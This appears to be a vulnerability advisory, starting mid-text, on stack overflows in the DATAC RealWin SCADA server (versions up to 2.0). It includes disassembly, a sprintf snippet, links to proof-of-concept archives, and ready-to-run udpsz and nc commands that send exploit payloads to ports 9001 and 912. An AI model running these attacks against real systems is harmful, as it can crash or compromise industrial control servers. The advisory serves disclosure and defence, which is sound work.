The overflow *(max 19204 chars)* allows only to overwrite the two memory pointers located after the space assigned to the copying of the string and they are immediately used for two memset*(buffer, 0, 2)* operations with the consequent effect of writing a 16bit *0x0000* in an arbitrary memory location:

```
00403E40  |> 8A01              /MOV AL,BYTE PTR DS:[ECX]          ; strcpy
00403E42  |. 8802              |MOV BYTE PTR DS:[EDX],AL
00403E44  |. 83C1 01           |ADD ECX,1
00403E47  |. 83C2 01           |ADD EDX,1
00403E4A  |. 84C0              |TEST AL,AL
00403E4C  |.^75 F2             \JNZ SHORT lm_tcp.00403E40
00403E4E  |. 8B4424 24         MOV EAX,DWORD PTR SS:[ESP+24]
00403E52  |. 66:8B48 12        MOV CX,WORD PTR DS:[EAX+12]
00403E56  |. 8B15 48A84000     MOV EDX,DWORD PTR DS:[40A848]
00403E5C  |. 66:83E9 78        SUB CX,78
00403E60  |. 66:F7D9           NEG CX
00403E63  |. 1BC9              SBB ECX,ECX
00403E65  |. 83E1 0E           AND ECX,0E
00403E68  |. 83C1 58           ADD ECX,58
00403E6B  |. 898C16 98000000   MOV DWORD PTR DS:[ESI+EDX+98],ECX
00403E72  |. A1 78A84000       MOV EAX,DWORD PTR DS:[40A878]
00403E77  |. 8B0D 48A84000     MOV ECX,DWORD PTR DS:[40A848]
00403E7D  |. 8B940E 9C000000   MOV EDX,DWORD PTR DS:[ESI+ECX+9C] ; first pointer
00403E84  |. 50                PUSH EAX
00403E85  |. 52                PUSH EDX
00403E86  |. E8 050C0000       CALL lm_tcp.00404A90               ; memset
00403E8B  |. A1 78A84000       MOV EAX,DWORD PTR DS:[40A878]
00403E90  |. 8B0D 48A84000     MOV ECX,DWORD PTR DS:[40A848]
00403E96  |. 8B940E A0000000   MOV EDX,DWORD PTR DS:[ESI+ECX+A0] ; second pointer
00403E9D  |. 50                PUSH EAX
00403E9E  |. 52                PUSH EDX
00403E9F  |. E8 EC0B0000       CALL lm_tcp.00404A90               ; memset
```

 # Exploit #

http://aluigi.org/testz/udpsz.zip

```
udpsz -C "00004b14 00000000 00000001 00000000 0001 0000" -b 0x61 -T SERVER 9001 0x4b18
```

Application: *DATAC RealWin*
http://www.dataconline.com/software/realwin.php
http://www.realflex.com
Versions: *<= 2.0 (Build 6.1.8.10)*
Platforms: *Windows*
Bugs: *A] stack overflow in SCPC_INITIALIZE and SCPC_INITIALIZE_RF*
B] stack overflow in SCPC_TXTEVENT
Exploitation: *remote, versus server*
Date: *15 Oct 2010*

"RealWin is a SCADA server package for medium / small applications."

 # Vulnerabilities #

A] stack overflow in SCPC_INITIALIZE and SCPC_INITIALIZE_RF

The service of the server running on port 912 is vulnerable to a stack based buffer-overflow caused by the usage of sprintf() for building a particular string with the data supplied by the attacker:

```
  sprintf(
    stack_buffer,
    "C:\\Program Files\\...path_of_RealWin...\\data\\crt\\fwd\\tel\\%s.%d",
    attacker_string,
    attacker_16bit_number);
```

B] stack overflow in SCPC_TXTEVENT

The same server is vulnerable also to another stack based overflow caused by the usage of strcpy() with the data supplied by the attacker.

 # Exploit #

http://aluigi.org/poc/realwin_1.zip

```
  nc SERVER 912 < realwin_1a.dat
  nc SERVER 912 < realwin_1b.dat
  nc SERVER 912 < realwin_1c.dat
```